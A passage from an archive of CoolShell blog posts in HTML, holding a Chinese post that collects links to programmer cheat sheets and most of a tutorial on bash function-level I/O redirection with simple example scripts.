href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1561.html\">Google Maps API用法教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-13 程序员小抄大全.html",
    "content": "<html><body><p><img alt=\"Cheat Sheet\" class=\"size-full wp-image-1568 alignright\" height=\"120\" src=\"../wp-content/uploads/2009/10/Cheating.jpg\" title=\"Cheat Sheet\" width=\"180\"/>你是否会经常忘记一些CSS中的函数名或是一些属性名，那个时候，你一定觉得，如果手边有一个“小抄”（Cheat Sheet）就好了。当然，这个“小抄”不是给你作弊用的，这个“小纸条”就是可以让你马上知道那个你最想知道的东西。这个“小抄”上也不需要有所有的东西，就需要那些经常用的就行了。现在，网上有很多这样的“小抄”，它们可能是PDF格式的，可能是PNG格式的，你可以很方便地把其打印出来（可以打印得很小），然后贴在你的电脑旁，一但需要，瞟一眼就可以了，这对于我们的工作是相当方便的。</p>\n<p>之前，酷壳也有两篇关于速查卡的文章《<a href=\"https://coolshell.cn/articles/870.html\" rel=\"bookmark\">Web设计的速查卡</a>》和《<a href=\"https://coolshell.cn/articles/150.html\" rel=\"bookmark\">Vim命令速查卡</a>》，不过都不如本贴多。</p>\n<p>下面是N多的各种和样的“小抄”，其中包括了Ajax, C++, Java, Python, PHP, Perl, ASP, Unix, Ruby, Google, HTML, CSS, XML ……..，让我们姑且叫做“程序员小抄大全”吧。当然，他们都是英文版的，可能某些链接你可能需要翻墙软件才能访问。我这里就不教你怎么翻墙了，这样的贴子网上多的是。</p>\n<p><span id=\"more-1566\"></span></p>\n<p><strong>Actionscript</strong></p>\n<ul>\n<li><a href=\"http://actionscriptcheatsheet.com/blog/quick-referencecheatsheet-for-actionscript-20/\">Quick reference/Cheatsheet for ActionScript 2.0</a></li>\n</ul>\n<p><strong>Ajax</strong></p>\n<ul>\n<li><a href=\"http://slash7.com/cheats/whats_ajax_cheatsheet.pdf\">What’s Ajax? Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.snook.ca/archives/javascript/prototype_disse/\">Prototype Dissected — Cheat Sheet PNG</a></li>\n<li><a href=\"http://slash7.com/cheats/scriptaculous_fx1.pdf\">scriptaculous Combination Effects — Cheat Sheet — PDF</a></li>\n</ul>\n<p><strong>Apache</strong></p>\n<ul>\n<li><a href=\"http://www.petefreitag.com/cheatsheets/apache/\">Apache Cheat Sheet</a></li>\n<li><a href=\"http://www.thejackol.com/htaccess-cheatsheet/\">htaccess Cheatsheet</a></li>\n<li><a href=\"http://www.addedbytes.com/mod_rewrite_cheat_sheet.png\">mod_rewrite Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.addedbytes.com/mod_rewrite_cheat_sheet.pdf\">mod_rewrite Cheat Sheet — PDF</a></li>\n</ul>\n<p><strong>ASCII Character Codes</strong></p>\n<ul>\n<li><a href=\"http://www.cookwood.com/html/extras/entities.html\">Character Entity References in HTML 4 and XHTML 1.0</a></li>\n<li><a href=\"http://www.addedbytes.com/characters_cheat_sheet.png\">HTML Character Entities Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.addedbytes.com/characters_cheat_sheet.pdf\">HTML Character Entities Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.chami.com/tips/internet/050798I.html\">HTML special character reference</a></li>\n<li><a href=\"http://tlt.its.psu.edu/suggestions/international/web/codehtml.html\">HTML — Special Entity Codes</a></li>\n<li><a href=\"http://www.yellowpipe.com/yis/tools/ASCII-HTML-Characters/index.php\">Special ASCII HTML Character Codes</a></li>\n<li><a href=\"http://www.digitalmediaminute.com/reference/entity/index.php\">XHTML Character Entity Reference</a></li>\n</ul>\n<p><strong>ASP</strong></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/asp_cheat_sheet.png\">ASP / VBScript Cheat Sheet — PNG</a></li>\n</ul>\n<p><strong>C# and VB.NET</strong></p>\n<ul>\n<li><a href=\"http://aspalliance.com/625\">C# and VB.NET Comparison Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.codeproject.com/dotnet/CheatSheetCastingNET.asp\">Cheat Sheet — Casting in VB.NET and C#</a></li>\n</ul>\n<p><strong>CSS</strong></p>\n<ul>\n<li><a href=\"http://www.veign.com/downloads/guides/qrg0007.pdf\">CSS 2 — Quick Reference Guide — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/css_cheat_sheet.pdf\">CSS Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/css_cheat_sheet.png\">CSS Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.blooberry.com/indexdot/css/propindex/all.htm\">CSS Property Index</a></li>\n<li><a href=\"http://home.tampabay.rr.com/bmerkey/cheatsheet.htm\">Cascading Style Cheatsheet</a></li>\n<li><a href=\"http://www.dustindiaz.com/css-shorthand/\">CSS Shorthand Guide</a></li>\n</ul>\n<p><strong>CVS</strong></p>\n<ul>\n<li><a href=\"http://www-bcl.cs.unm.edu/computers/cvs.html\">CVS Cheat Sheet</a></li>\n<li><a href=\"http://www.cs.put.poznan.pl/csobaniec/Papers/svn-refcard.pdf\">Subversion Quick Reference Card — PDF</a></li>\n<li><a href=\"http://www.slac.stanford.edu/grp/cd/soft/cvs/cvs_cheatsheet.html\">CVS Cheat-sheet</a></li>\n</ul>\n<p><strong>C++</strong></p>\n<ul>\n<li><a href=\"http://www.linuxsoftware.co.nz/cppcontainers.html\">C++ Containers Cheat Sheet</a></li>\n<li><a href=\"http://downloads.dreamincode.net/ref_sheets/cpp_reference_sheet.pdf\">C++ Quick Reference Sheet (Cheat Sheet) — PDF</a></li>\n<li><a href=\"http://cs.fit.edu/%7Emmahoney/cse2050/how2cpp.html\">How to Program in C++ — Language Summary</a></li>\n</ul>\n<p><strong>Django</strong></p>\n<ul>\n<li><a href=\"http://www.djangobook.com/\" title=\"The Django Book\">The Django Book</a></li>\n</ul>\n<p><strong>Firefox</strong></p>\n<ul>\n<li><a href=\"http://the-cream.blogspot.com/2006/10/firefox-keyboard-shortcuts.html\">Firefox Keyboard Shortcuts — PDF</a></li>\n<li><a href=\"http://www.accessfirefox.com/ShortcutsKandM.html\">Firefox Shortcuts Sheet</a></li>\n<li><a href=\"http://lesliefranke.com/2006/06/22/mozilla-firefox-cheat-sheet-update/\">Mozilla Firefox Cheat Sheet</a></li>\n<li><a href=\"http://lesliefranke.com/files/reference/thunderbirdcheatsheet.html\">Mozilla Thunderbird Cheat Sheet</a></li>\n<li><a href=\"http://www.mozilla.org/support/firefox/keyboard\">Keyboard Shortcuts</a></li>\n</ul>\n<p><strong>Google</strong></p>\n<ul>\n<li><a href=\"http://evhead.com/hodgepodge/gmail-shortcuts.html\">Gmail Shortcuts (printable cheatsheet)</a></li>\n<li><a href=\"http://www.googleguide.com/advanced_operators_reference.html\">Google Advanced Operators (Cheat Sheet)</a></li>\n<li><a href=\"http://www.adelaider.com/google/\">Google Cheat Sheet (Version 1.06) — PDF</a></li>\n<li><a href=\"http://www.bueltge.de/allg-google-cheat-sheet/42/\">Google Cheat Sheet — auch als PDF</a></li>\n<li><a href=\"http://www.feedsforme.com/google/\">Google Cheat Sheets — auch als PDF</a></li>\n<li><a href=\"http://www.google.com/help/cheatsheet.html\">Google Help : Cheat Sheet</a></li>\n</ul>\n<p><strong>HTML/XHTML</strong></p>\n<ul>\n<li><a href=\"http://www.alphalink.com.au/%7Erhduncan/htmlguide/cheatindex.html\">A Simple Guide To HTML — Cheat Sheet</a></li>\n<li><a href=\"http://library.albany.edu/imc/pdf/HTML-XHTML_Tag_Sheet.pdf\">HTML &amp; XHTML Tag Quick Reference</a></li>\n<li><a href=\"http://www.psacake.com/web/dy.asp\">HTML Cheat Sheet</a></li>\n<li><a href=\"http://www.cookwood.com/html/extras/entities.html\">HTML Entities</a></li>\n<li><a href=\"http://www.killersites.com/HTML_CODES/index.jsp\">HTML CODES CHEAT SHEET</a></li>\n<li><a href=\"http://cdburnerxp.se/htmlcheatsheet.pdf\">XHTML</a></li>\n<li><a href=\"http://www.angelfire.com/nm/thehtmlsource/html/cheatsheet.html\">HTML Cheat Sheet</a></li>\n<li><a href=\"http://cdburnerxp.se/htmlcheatsheet.pdf\">XHTML Cheat Sheet v. 1.03 — PDF</a></li>\n</ul>\n<p><strong>Java</strong></p>\n<ul>\n<li><a href=\"http://www.janeg.ca/JQREF.pdf\">Java Quick Reference — PDF</a></li>\n<li><a href=\"http://java.sun.com/products/jsp/syntax/1.1/card11.pdf\">(</a><a href=\"http://java.sun.com/products/jsp/syntax/1.1/card11.pdf\">JSPª) SYNTAX version 1.1</a></li>\n<li><a href=\"http://java.sun.com/products/jsp/syntax/2.0/card20.pdf\">(JSP<img alt=\"™\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png\" style=\"height: 1em;\"/>) SYNTAX version 2.0</a></li>\n</ul>\n<p><strong>JavaScript</strong></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/javascript_cheat_sheet.png\">JavaScript Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.addedbytes.com/javascript_cheat_sheet.pdf\">JavaScript Cheat Sheet — PDF</a></li>\n<li><a href=\"http://javascript-reference.info/\">JavaScript Reference</a></li>\n<li><a href=\"http://www.dannyg.com/ref/jsquickref.html\">JavaScript and Browser Objects Quick Reference</a></li>\n<li><a href=\"http://www.visibone.com/regular-expressions/\">Regular Expressions for JavaSript — free online quick reference</a></li>\n</ul>\n<p><strong>Microformats</strong></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/cheat-sheets/microformats-cheat-sheet/\">Microformats Cheat Sheet</a></li>\n<li><a href=\"http://suda.co.uk/projects/microformats/cheatsheet/\">Microformats Cheat Sheet</a></li>\n</ul>\n<p><strong>Misc</strong></p>\n<ul>\n<li><a href=\"http://www.draac.com/chmodchart.html\">CHMOD Chart</a></li>\n<li><a href=\"http://photonotes.org/cgi-bin/view.pl?letter=%21\">Complete listing of common camera symbols.</a></li>\n<li><a href=\"http://www.sql-und-xml.de/unicode-database/\">The Unicode-Database</a></li>\n<li><a href=\"http://www.addedbytes.com/colourchart.png\">RGB Hex Colour Chart — PNG</a></li>\n<li><a href=\"http://www.geocities.com/Athens/1802/pgpcard.html\">Pretty Good PGP Reference Card</a></li>\n<li><a href=\"http://www.aiic.net/ViewPage.cfm/page302.htm\">Search Engine Cheat Sheet</a></li>\n<li><a href=\"http://www.digilife.be/quickreferences/quickrefs.htm\">Quick Reference Cards</a></li>\n</ul>\n<p><strong>MySQL</strong></p>\n<ul>\n<li><a href=\"http://www.nparikh.org/unix/mysql.php\">MySQL Cheat Sheet</a></li>\n<li><a href=\"http://www.addedbytes.com/mysql_cheat_sheet.pdf\">MySQL Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/mysql_cheat_sheet.png\">MySQL Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.3gwt.net/demo/SQL_redux.html\">SQL Cheatsheet</a></li>\n</ul>\n<p><strong>Oracle</strong></p>\n<ul>\n<li><a href=\"http://www.yagc.ndo.co.uk/cheatsheets/plsql_cheatsheet.html\">Oracle PL/SQL Cheatsheet</a></li>\n<li><a href=\"http://www.vttoth.com/oracle.htm\">Oracle Cheat Sheet</a></li>\n<li><a href=\"http://radio.weblogs.com/0128037/stories/2003/10/21/oracleScmInstallationCheatSheet.html\">Oracle SCM Installation Cheat Sheet</a></li>\n</ul>\n<p><strong>Perl</strong></p>\n<ul>\n<li><a href=\"http://www.mnlab.cs.depaul.edu/%7Eehab/Courses/TDC568/resources/PerlQuickRef.pdf\">Perl Regular Expression -Quick Reference — PDF</a></li>\n<li><a href=\"http://juerd.nl/site.plp/perlcheat\">Perl Cheat Sheet</a></li>\n<li><a href=\"http://juerd.nl/site.plp/perlcheat\">Perl Cheat Sheet</a></li>\n<li><a href=\"http://search.cpan.org/%7Enwclark/perl-5.8.7/pod/perlcheat.pod\">Perl 5 Cheat Sheet</a></li>\n<li><a href=\"http://johnbokma.com/perl/perl-quick-reference-card.html\">Perl Quick Reference Card — PDF</a></li>\n<li><a href=\"http://refcards.com/refcards/perl-regexp/index.html\">Perl Regexp Quick Reference Card — PDF</a></li>\n</ul>\n<p><strong>Photoshop/Gimp</strong></p>\n<ul>\n<li><a href=\"http://frenchfragfactory.net/ozh/download/refcards/Gimp.pdf\">Gimp Quick Reference Card v.1.0</a></li>\n<li><a href=\"http://frenchfragfactory.net/ozh/download/refcards/Photoshop.pdf\">Photoshop 7.0 Quick Reference Card for Windows — PDF</a></li>\n<li><a href=\"http://www.creativetechs.com/tips/tip_resources/PSCS2_Shortcuts_Windows.pdf\">Photoshop CS2 Keyboard Shortcuts (Windows) — PDF</a></li>\n<li><a href=\"http://www.creativetechs.com/tips/tip_resources/PSCS2_Shortcuts_Mac.pdf\">Photoshop CS2 Keyboard Shortcuts (Macintosh) — PDF</a></li>\n</ul>\n<p><strong>PHP</strong></p>\n<ul>\n<li><a href=\"http://www.symfony-project.com/weblog/2006/04/25/admin-generator-cheat-sheet.html\">symfony PHP5 framework — Admin Generator cheat sheet — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/php_cheat_sheet.pdf\">PHP Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/php_cheat_sheet.png\">PHP Cheat Sheet — PNG</a></li>\n<li><a href=\"http://www.blueshoes.org/en/developer/php_cheat_sheet/\">PHP Cheat Sheet with special php syntax</a></li>\n<li><a href=\"http://www.addedbytes.com/regular_expressions_cheat_sheet.png\">Regular Expressions Cheat Sheet — PNG</a></li>\n</ul>\n<p><strong>Python</strong></p>\n<ul>\n<li><a href=\"http://www-128.ibm.com/developerworks/library/l-cheatsheet3.html\">Python 101 cheat sheet</a></li>\n<li><a href=\"http://www.yukoncollege.yk.ca/%7Ettopper/COMP118/rCheatSheet.html\">Python Cheat Sheet</a></li>\n<li><a href=\"http://www.drweb.de/weblog/weblog/?p=548\">Python Cheat Sheet — PDF</a></li>\n<li><a href=\"http://www.onlamp.com/python/excerpt/PythonPocketRef/examples/python.pdf\">Python Quick Reference</a></li>\n<li><a href=\"http://rgruet.free.fr/PQR24/PQR2.4.html\">Python 2.4 Quick Reference</a></li>\n</ul>\n<p><strong>Regular Expressions</strong></p>\n<ul>\n<li><a href=\"http://www.addedbytes.com/cheat-sheets/regular-expressions-cheat-sheet/\">Regular Expressions Cheat Sheet</a></li>\n<li><a href=\"http://regexlib.com/CheatSheet.aspx\">Regular Expression Cheat Sheet (.NET)</a></li>\n</ul>\n<p><strong>Ruby</strong></p>\n<ul>\n<li><a href=\"http://slash7.com/cheats/activerecord_cheatsheet.pdf\">ActiveRecord Relationships — Ruby on Rails cheat sheet guide — PDF</a></li>\n<li><a href=\"http://www.blainekendall.com/index.php/rubyonrailscheatsheet/\">RubyOnRails-Cheatsheet — PDF</a></li>\n<li><a href=\"http://www.addedbytes.com/ruby_on_rails_cheat_sheet.png\">Ruby on Rails Cheat Sheet — PNG</a></li>\n<li><a href=\"http://slash7.com/cheats/form_helpers.pdf\">Ruby on Rails cheat sheet guide — PDF</a></li>\n<li><a href=\"http://www.zenspider.com/Languages/Ruby/QuickRef.html\">Ruby quick reference</a></li>\n<li><a href=\"http://www.threaded.com/ruby_cheatsheet.htm\">Threadeds Ruby Cheat Sheet</a></li>\n<li><a href=\"http://slash7.com/cheats/rails_files_cheatsheet.pdf\">What Goes Where? — Ruby on Rails cheat sheet — PDF</a></li>\n</ul>\n<p><strong>Unix/Linux</strong></p>\n<ul>\n<li><a href=\"http://www.unixguide.net/linux/linuxshortcuts.shtml\">Linux Shortcuts and Commands</a></li>\n<li><a href=\"http://aperiodic.net/screen/quick_reference?do=show\">quick_reference [GNU screen]</a></li>\n<li><a href=\"http://www.pixelbeat.org/cmdline.html\">Unix Cheat Sheet</a></li>\n<li><a href=\"http://homepage.powerup.com.au/%7Esquadron/linux_manual.pdf\">The One Page Linux Manual — Version 3 — PDF </a></li>\n<li><a href=\"http://www.gasmi.net/docs/tcp.html\">TCP Ports list (3498 ports in list) </a></li>\n<li><a href=\"http://www.rain.org/%7emkummel/unix.html\">Treebeard’s Unix Cheat Sheet</a></li>\n<li><a href=\"http://www.pixelbeat.org/vim.tips.html\">Essential Vim keyboard shortcuts Cheat Sheet</a></li>\n<li><a href=\"http://tnerual.eriogerg.free.fr/vim.html\">VIM Quick Reference Card</a></li>\n<li><a href=\"http://bullium.com/support/vim.html\">Vim Commands Cheat Sheet</a></li>\n</ul>\n<p><strong>Weblog</strong></p>\n<ul>\n<li><a href=\"http://andywibbels.com/files/Blogger_Cheatsheet_v1.pdf\">Blogger Cheatsheet — PDF</a></li>\n<li><a href=\"http://andywibbels.com/files/TypePad_Cheatsheet_v1.pdf\">TypePad Cheatsheet — PDF</a></li>\n<li><a href=\"http://andywibbels.com/files/Movable_Type_Cheatsheet_v1.pdf\">Movable Type Cheatsheet — PDF</a></li>\n<li><a href=\"http://www.einfach-persoenlich.de/2005-05-29/movabletype-movable-type-cheat-sheet-spickzettel.html\">MovableType</a></li>\n<li><a href=\"http://andywibbels.com/files/WordPress_Cheatsheet_v1.pdf\">WordPress Cheatsheet — PDF</a></li>\n<li><a href=\"http://bueltge.de/wp-wordpress-cheat-sheet-fuer-theme-tags-und-plugin-api/205\">WP — WordPress Cheat Sheet f眉r Theme Tags und Plugin-API — PDF</a></li>\n</ul>\n<p><strong>Windows</strong></p>\n<ul>\n<li><a href=\"http://www.ss64.com/nt/\">An A-Z Index of the Windows NT/XP command line</a></li>\n<li><a href=\"http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html\">Graphical vi-vim Cheat Sheet and Tutorial</a></li>\n<li><a href=\"http://www.fgcu.edu/support/office2000/ppt/shortcuts.html\">Power Point 2000 — Keyboard Shortcuts</a></li>\n<li><a href=\"http://www.oreilly.com/examples/promos/pt/power_point_quickref.pdf\">POWERPOINT 2003 — Quick Reference Card</a></li>\n<li><a href=\"http://www.gasmi.net/docs/tcp.html\">TCP Ports list (3498 ports in list) </a></li>\n<li><a href=\"http://tlt.its.psu.edu/suggestions/international/accents/codealt.html\">Windows — Alt Key Numeric Codes</a></li>\n</ul>\n<p><strong>XML</strong></p>\n<ul>\n<li><a href=\"http://www.dopefly.com/projects/fuseboxxmlcheatsheet.cfm\">Fusebox 4.1 XML Cheat Sheet</a></li>\n<li><a href=\"http://www.zvon.org/download2_cheatsheet.php/sheet_mathML_el_attr.pdf?title=MathML%3A+elements+-+attributes\">MathML Reference — PDF</a></li>\n<li><a href=\"http://www.zvon.org/download2_cheatsheet.php/sheet_voiceXML_el_attr.pdf?title=VoiceXML%3A+elements+-+attributes\">VoiceXML Reference — PDF</a></li>\n<li><a href=\"http://refcards.com/download/bj/xtm-1.0.pdf\">XML TopicMaps 1.0 — Quick Reference Card — PDF</a></li>\n<li><a href=\"http://www.mulberrytech.com/quickref/XMLquickref.pdf\">XML Quick References — PDF</a></li>\n<li><a href=\"http://www.zvon.org/download2_cheatsheet.php/sheet_xmlSchema2001_child_parent.pdf?title=XML+Schema+2001%3A+children+-+parents\">XML Schema 2001: children — parents — PDF</a></li>\n<li><a href=\"http://www.zvon.org/download2_cheatsheet.php/sheet_xmlSchema2001_el_attr.pdf?title=XML+Schema+2001%3A+elements+-+attributes\">XML Schema 2001: elements — attributes — PDF</a></li>\n<li><a href=\"http://www.zvon.org/Output/cheatsheets/cheatsheet_list.html\">XML Schema 2000/10 — PDF</a></li>\n<li><a href=\"http://www.xml.dvint.com/docs/SchemaStructuresQR-2.pdf\">XML Schema — Structures Quick Reference — PDF</a></li>\n<li><a href=\"http://www.xml.dvint.com/docs/SchemaDataTypesQR-2.pdf\">XML Schema — Data Types Quick Reference — PDF</a></li>\n<li><a href=\"http://www.zvon.org/download2_cheatsheet.php/sheet_xslReference_el_attr.pdf?title=XSL+FO%3A+elements+-+attributes\">XSL FO Reference — PDF</a></li>\n<li><a href=\"http://www.mulberrytech.com/quickref/XSLT_1quickref-v2.pdf\">XSLT Quick References — PDF</a></li>\n<li><a href=\"http://refcards.com/download/deepx/XSLT-1.0.pdf\">XSLT Quick Reference Card — PDF</a></li>\n<li><a href=\"http://www.topxml.com/xsl/XSLTRef.asp\">XSLT Reference</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3480.html\"><img alt=\"一些有意思的网站和贴子\" height=\"150\" src=\"../wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3480.html\">一些有意思的网站和贴子</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2964.html\"><img alt=\"25个jQuery的编程小抄\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2964.html\">25个jQuery的编程小抄</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2775.html\"><img alt=\"免费电子书列表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2775.html\">免费电子书列表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7992.html\"><img alt=\"C++的坑真的多吗？\" height=\"150\" src=\"../wp-content/uploads/2012/08/cpp_small-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1566.html\">程序员小抄大全</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-14 bash 函数级重定向.html",
    "content": "<html><body><p><img alt=\"bash 函数级重定向\" class=\"size-full wp-image-1380 alignright\" height=\"120\" src=\"../wp-content/uploads/2009/08/bash.jpg\" title=\"bash 函数级重定向\" width=\"120\"/>相信每一个人对于操作系统的重定向不会陌生了。就是&gt;, &gt;&gt;, &lt;, &lt;&lt;，关于重定向的基本知识我就不说了。这里主要讨论bash的重定向中的一个鲜为人知的东西，那就是bash脚本的函数也可以定义相关的重定向操作。这可不是命令级的重定向，这是函数级的重点向。这并不是一个新的东西，我只是想告诉大家一个已经存在了多年但却可能不被人常用的功能。</p>\n<p>关于bash的这个函数级的重定向的语法其实很简单，你只需要在函数结尾时加上一些重定向的定义或指示符就可以了。下面是一个示例：</p>\n<pre class=\"EnlighterJSRAW\">function mytest()\n{\n        ...\n} &lt; mytest.in &gt; mytest.out 2&gt; mytest.err</pre>\n<p>现在，只要是test被调用，那么，这个函数就会从mytest.in读入数据，并把输出重定向到mytest.out文件中，然后标准错误则输出到mytest.err文件中。是不是很简单？</p>\n<p><span id=\"more-1574\"></span></p>\n<p>因为函数级的重定向仅当在被函数调用的时候才会起作用，而且其也是脚本的一部分，所以，你自然也可以使用变量来借文件名。下面是一个示例：</p>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\n\nfunction mytest()\n{\n    echo Hello World CoolShell.cn\n} &gt;$out\n\nout=mytest1.out\nmytest\nout=mytest2.out\nmytest</pre>\n<p>这样一来，标准输出的重定向就可以随$out变量的改变而改变了。在上面的例子中，第一个调是重定向到mytest1.out，第二个则是到mytest2.out。</p>\n<pre class=\"EnlighterJSRAW\">$ bash mytest.sh; more mytest?.out\n::::::::::::::\nmytest1.out\n::::::::::::::\nHello World CoolShell.cn\n::::::::::::::\nmytest2.out\n::::::::::::::\nHello World CoolShell.cn</pre>\n<p>正如前面所说的一样，这里并没有什么新的东西。上面的这个示例，转成传统的写法是：</p>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\n\nfunction mytest()\n{\n    echo Hello World CoolShell.cn\n}\nmytest &gt;mytest1.out\nmytest &gt;mytest2.out</pre>\n<p>到此为此，好像这个feature并没有什么特别的实用之处。有一个可能比较实用的用法可能是把把你所有代码的的标准错误重定向到一个文件中去。如下面所示：</p>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\n\nlog=err.log\nfunction error()\n{\n    echo \"$*\" &gt;&amp;2\n}\nfunction mytest1()\n{\n    error mytest1 hello1 world1 coolshell.cn\n}\n\nfunction mytest2()\n{\n    error mytest2 hello2 world2 coolshell.cn\n}\n\nfunction main()\n{\n    mytest1\n    mytest2\n} 2&gt;$log\n\nmain</pre>\n<p>运行上面的脚本，你可以得到下面的结果：</p>\n<pre class=\"EnlighterJSRAW\">$ bash mytest.sh ;cat err.log\nmytest1 hello1 world1 coolshell.cn\nmytest2 hello2 world2 coolshell.cn</pre>\n<p>当然，你也可以不用定义一个函数，只要是{…} 语句块，就可以使用函数级的重定向，就如下面的示例一样：</p>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\n\nlog=err.log\nfunction error()\n{\n    echo \"$*\" &gt;&amp;2\n}\nfunction mytest1()\n{\n    error mytest1 hello1 world1 coolshell.cn\n}\n\nfunction mytest2()\n{\n    error mytest2 hello2 world2 coolshell.cn\n}\n\n{\nmytest1\nmytest2\n} 2&gt;$log</pre>\n<p>你也可以重定向 (…) 语句块，但那会导致语句被执行于一个sub-shell中，这可能会导致一些你不期望的行为或问题，因为sub-shell是在另一个进程中。</p>\n<p>如果你问，我们是否可以覆盖函数级的重定向。答案是否定的。如果你试图这样做，那么，函数调用点的重定向会首先执行，然后函数定义上的重定向会将其覆盖。下面是一个示例：</p>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\n\nfunction mytest()\n{\n    echo hello world coolshell.cn\n} &gt;out1.txt\nmytest &gt;out2.txt</pre>\n<p>运行结果是，out2.txt会被建立，但里面什么也没有。</p>\n<p>下面是一个重定向标准输入的例子：</p>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\n\nfunction mytest()\n{\n    while read line\n    do\n        echo $line\n    done\n} &lt;&lt;EOF\nhello\ncoolshell.cn\nEOF\nmytest</pre>\n<p>下面是其运行结果：</p>\n<pre class=\"EnlighterJSRAW\">$ bash mytest.sh\nhello\ncoolshell.cn</pre>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 